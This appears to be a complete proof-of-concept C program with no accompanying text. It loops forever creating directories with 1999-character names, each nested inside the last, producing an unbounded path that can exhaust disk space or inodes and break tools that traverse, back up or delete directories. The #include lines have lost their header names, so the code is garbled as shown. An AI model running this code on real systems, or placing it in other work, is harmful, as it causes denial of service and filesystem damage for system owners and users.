#include #include #include #include #include #include #define EVILSIZE 2000 int main(void) { char dir_A[EVILSIZE]; memset(dir_A, 'A', EVILSIZE); dir_A[EVILSIZE-1] = 0; while(1) { if(mkdir(dir_A, S_IRWXU) != 0) { if(errno == EEXIST) { if(chdir(dir_A) == 0) { continue; } else { goto plonk; } } fprintf(stderr, "mkdir: %s\n", strerror(errno)); exit(EXIT_FAILURE); } if(chdir(dir_A) != 0) { plonk: fprintf(stderr, "chdir: %s\n", strerror(errno)); exit(EXIT_FAILURE); } } return EXIT_SUCCESS; }